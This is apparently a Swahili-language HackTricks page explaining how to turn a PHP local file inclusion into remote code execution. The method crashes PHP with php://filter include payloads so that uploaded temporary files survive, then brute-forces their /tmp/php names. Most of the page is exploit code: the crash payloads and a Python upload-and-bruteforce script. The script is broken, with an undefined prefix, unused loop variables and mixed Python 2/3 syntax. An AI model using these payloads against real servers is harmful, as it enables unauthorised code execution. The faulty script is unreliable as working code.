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https://github.com/carlospolop/hacktricks
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84 lines
4.4 KiB
Markdown
84 lines
4.4 KiB
Markdown
# LFI2RCE kupitia Kosa la Segmentation
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<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
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* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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Kulingana na maandishi [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (sehemu ya pili) na [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), mizigo ifuatayo ilisababisha kosa la segmentation katika PHP:
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```php
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// PHP 7.0
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include("php://filter/string.strip_tags/resource=/etc/passwd");
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// PHP 7.2
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include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
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```
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Unapaswa kujua kwamba ikiwa **unatuma** ombi la **POST** lenye **faili**, PHP itaunda **faili ya muda katika `/tmp/php<kitu>`** na maudhui ya faili hiyo. Faili hii ita **futwa moja kwa moja** mara ombi litakapoprocess.
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Ikiwa unapata **LFI** na unafanikiwa **kuzindua** kosa la kugawanyika katika PHP, **faili ya muda haitafutwa kamwe**. Kwa hivyo, unaweza **kuitafuta** kwa kutumia udhaifu wa **LFI** hadi uipate na kutekeleza nambari yoyote.
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Unaweza kutumia picha ya docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) kwa ajili ya majaribio.
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```python
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# upload file with segmentation fault
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import requests
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url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
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files = {'file': open('la.php','rb')}
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response = requests.post(url, files=files)
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# Search for the file (improve this with threads)
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import requests
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import string
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import threading
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charset = string.ascii_letters + string.digits
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host = "127.0.0.1"
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port = 80
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base_url = "http://%s:%d" % (host, port)
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def bruteforce(charset):
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for i in charset:
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for j in charset:
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for k in charset:
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for l in charset:
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for m in charset:
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for n in charset:
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filename = prefix + i + j + k
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url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
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print url
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response = requests.get(url)
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if 'spyd3r' in response.content:
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print "[+] Include success!"
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return True
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def main():
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bruteforce(charset)
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if __name__ == "__main__":
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main()
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```
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<details>
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<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
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Njia nyingine za kusaidia HackTricks:
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* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
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* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
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* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
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* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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